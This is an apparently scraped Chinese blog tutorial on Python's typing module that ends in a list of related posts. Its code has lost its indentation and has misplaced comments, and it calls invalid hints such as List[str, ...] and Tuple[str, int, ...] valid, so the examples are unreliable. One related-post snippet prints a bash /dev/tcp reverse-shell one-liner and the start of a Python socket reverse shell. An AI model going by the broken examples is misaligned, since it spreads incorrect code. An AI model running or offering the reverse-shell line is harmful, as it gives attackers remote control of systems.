官方文档: typing

注: typing是python3.5(PEP484)开始的

可用于: 类型检查器、集成开发环境、静态检查器等, 但是不强制使用

使用方式

两种使用方式

  1. 别名: 先定义=, 再使用:
  2. 直接使用: :
from typing import List

T1 = List[str]

def test(t1: T1, t2: List[str]):
print(t1[0].title())
print(t2[0].title())

创建新类型 NewType

主要用于类型检测

NewType(name, tp) 返回其原本的值

静态类型检查器会将新类型看作是原始类型的一个子类

即: name是新的类型 tp是原始类型

注: 在python3.10之前NewType是普通的函数, 之后是一个类, 会产生一个类, 返回的原来的值, 故不会对常规函数产生影响

from typing import NewType, NoReturn

# 创建int的子类, 名为UserId
UserIdType = NewType('UserId', int) # 使用
def name_by_id(user_id: UserIdType) -> NoReturn:
print(user_id) # 类型检测错误
UserIdType('user') # 类型检测成功, 返回原类型 "int"
num = UserIdType(5) # 类型检测错误, 需要传入UserIdType, 而不是int
name_by_id(42)
# 类型检测成功
name_by_id(UserIdType(42)) # OK

类型变量 TypeVar

类型变量主要用于泛型类型与泛型函数定义的参数

第一个参数是名称, 其他参数是类型

from typing import TypeVar, Sequence

# 任意类型
T = TypeVar('T')
# 必须是str或bytes
A = TypeVar('A', str, bytes) # (any, int) -> [any, ...]
def repeat(x: T, n: int) -> Sequence[T]:
return [x] * n # (str/bytes, str/bytes) -> str/bytes
def longest(x: A, y: A) -> A:
return x if len(x) >= len(y) else y

元祖 Tuple

使用场景

  1. 有限元素: Tuple[X, Y], 即第一个元素类型为X, 第二个元素类型为Y
  2. 空元组: Tuple[()]
  3. 可用...指定任意个同类: Tuple[int, ...]即多个int元素的元组
  4. 不指定时(Tuple)等价于Tuple[Any, ...]
from typing import Tuple

# 任意类型元组
def t1(t: Tuple):
pass # 全为字符串的元组
def t2(t: Tuple[str, ...]):
pass # 多个类型有 "..." 时为任意类型
def t3(t: Tuple[str, int, ...]):
pass

列表 List

使用方式如上的Tuple

from typing import List

# 任意类型
def t1(t: List):
pass # 全为字符串
def t2(t: List[str, ...]):
pass # 多个类型有 "..." 时为任意类型
def t3(t: List[str, int, ...]):
pass

字典 Dict

定义形式: Dict[key类型, val类型]

from typing import Dict

# key为字符串 value为int
def t1(t: Dict[str, int]):
pass

集合 Set

不能使用...

最多只能有一个参数, 即只能有一种类型

from typing import Set

# 任意类型
def t1(t: Set):
pass # 字符串
def t2(t: Set[str]):
pass

序列类型 Sequence

使用注意点与Set相同

from typing import Union, Sequence

# int
def t1(t: Sequence[int]):
pass

可调用类型 Callable

即可调用对象

定义形如: Callable[[Arg1Type, Arg2Type], ReturnType], 第一个参数是列表 值为可调用对象的参数类型, 第二个参数是返回值

from typing import Callable

def test(c: Callable[[int, str], str]):
res = c(1, "a")
# 1a <class 'str'>
print(res, type(res)) def func(a: int, b: str) -> str:
return str(a) + b test(func)

任意类型 Any

任意类型

from typing import Any

# 任意类型
def t1(a: Any, b: ...):
pass t1(1, 2)
t1("a", "b")

无返回值 NoReturn

标记没有返回值的函数

from typing import NoReturn

def stop() -> NoReturn:
raise RuntimeError('no way')

联合类型 Union

即必须是指定的类型

联合中的联合会被展平: Union[Union[int, str], float] == Union[int, str, float]

单参数即本身: Union[int] == int

冗余参数跳过: Union[int, str, int] == Union[int, str] == int | str

无顺序: Union[int, str] == Union[str, int]

from typing import Union

# str或int
def t1(t: Union[str, int]):
pass

python3.10之后可以写成X | Y, 不需要额外导入Union

可选类型 Optional

即可以是指定的类型

含默认值的可选参数不需要在类型注解上添加 Optional 限定符

默认值为None时, 可以用Optional

from typing import Optional

# t的类型可以是int
def t1(t: Optional[int] = None):
pass

typing使用的更多相关文章

  1. Python标准库--typing

    作者:zhbzz2007 出处:http://www.cnblogs.com/zhbzz2007 欢迎转载,也请保留这段声明.谢谢! 1 模块简介 Python 3.5 增加了一个有意思的库--typ ...

  2. 最牛的打字效果JS插件 typing.js

    最新在做公司的一个项目,需要实现一个敲打代码的动画效果,粗意味比较简单,果断自己直接开写,写着写着发现是一个坑.需要支持语法高亮,并不能直接简单的用setTimeout来动态附件innerHTML.苦 ...

  3. Monkey Patch/Monkey Testing/Duck Typing/Duck Test

    Monkey Patch Monkey Testing Duck Typing Duck Test

  4. SGU 422 Fast Typing(概率DP)

    题目大意 某人在打字机上打一个字符串,给出了他打每个字符出错的概率 q[i]. 打一个字符需要单位1的时间,删除一个字符也需要单位1的时间.在任意时刻,他可以花 t 的时间检查整个打出来的字符串,并且 ...

  5. Cellphone Typing 字典树

    Cellphone Typing Time Limit: 5000ms Memory Limit: 131072KB   This problem will be judged on UVA. Ori ...

  6. 什么是“鸭子类型(duck typing)”?

    在计算机编程世界里会接触到一个知识点 —— duck typing,叫“鸭子类型”.   它有一个形象的解释: “当看到一只鸟走起来像鸭子.游泳起来像鸭子.叫起来也像鸭子,那么这只鸟就可以被称为鸭子. ...

  7. thinking in java Generics Latent typing

    The beginning of this chapter introduced the idea of writing code that can be applied as generally a ...

  8. 鸭子类型duck typing(动态)

    在程序设计中,鸭子类型(duck typing)是动态类型的一种风格.在这种风格中,一个对象有效的语义,不是由继承自特定的类或实现特定的接口,而是由当前方法和属性的集合决定.这个概念的名字来源于由Ja ...

  9. How to Avoid Producing Legacy Code at the Speed of Typing

    英语不好翻译很烂.英语好的去看原文. About the Author I am a software architect/developer/programmer.I have a rather p ...

  10. 使用python3的typing模块提高代码健壮性

    前言:很多人在写完代码一段时间后回过头看代码,很可能忘记了自己写的函数需要传什么参数,返回什么类型的结果,就不得不去阅读代码的具体内容,降低了阅读的速度,加上Python本身就是一门弱类型的语言,这种 ...

随机推荐

  1. .NET 排序 Array.Sort<T> 实现分析

    System.Array.Sort<T> 是.NET内置的排序方法, 灵活且高效, 大家都学过一些排序算法,比如冒泡排序,插入排序,堆排序等,不过你知道这个方法背后使用了什么排序算法吗? ...

  2. JavaFx全局快捷键实现(Kotlin)

    原文地址: JavaFx全局快捷键实现(Kotlin) | Stars-One的杂货小窝 最近整款工具需要用到全局快捷键,搜集了下网上的资料,发现有个JIntellitype库可以用来实现全局快捷键, ...

  3. 提权AND反弹OR转发

    bash -i >& /dev/tcp/ip/3333 0>&1 python -c "import os,socket,subprocess;s=socket. ...

  4. 自然语言处理标注工具——Brat(安装、测试、使用)

    一.Brat标注工具安装 1.安装条件: (1)运行于Linux系统(window系统下虚拟机内linux系统安装也可以) (2)目前brat最新版本(v1.3p1)仅支持python2版本运行使用( ...

  5. 10.10 Rewrite 实战

    将baidu.com跳转到www.baidu.com server { listen 80; server_name baidu.com; rewrite ^/ http://www.baidu.co ...

  6. Tracking Analyst Tools(Tracking Analyst 工具)

    Tracking Analyst 工具 # Process: 创建追踪图层 arcpy.MakeTrackingLayer_ta("", 输出图层, "NO_TIME_Z ...

  7. MySQL8 根据某属性查询字段排名由自定义变量到rank()的变动

    在mysql8 之前的版本,因为没有rank()方法的存在,所以在对字段进行排名时,使用的是自定义自变量的方法,比如: select id,name,@rank=@rank+1 as ranks fr ...

  8. Linux基本命令 和 Regex 正则表达式

    Linux基本命令 和 Regex 正则表达式 Regex 基本语法 常用匹配规则 [aeiouAEIOU] # 从中随机选择一个 [0-9]{4} # 从中选择4个 .* # 匹配任意字符 \w # ...

  9. 用css写三角形

    html部分 <div class="triangle></div> css部分 .triangle{ width:0; height:0; overflow:hid ...

  10. RocketMQ源码详解 | Producer篇 · 其二:消息组成、发送链路

    概述 在上一节 RocketMQ源码详解 | Producer篇 · 其一:Start,然后 Send 一条消息 中,我们了解了 Producer 在发送消息的流程.这次我们再来具体下看消息的构成与其 ...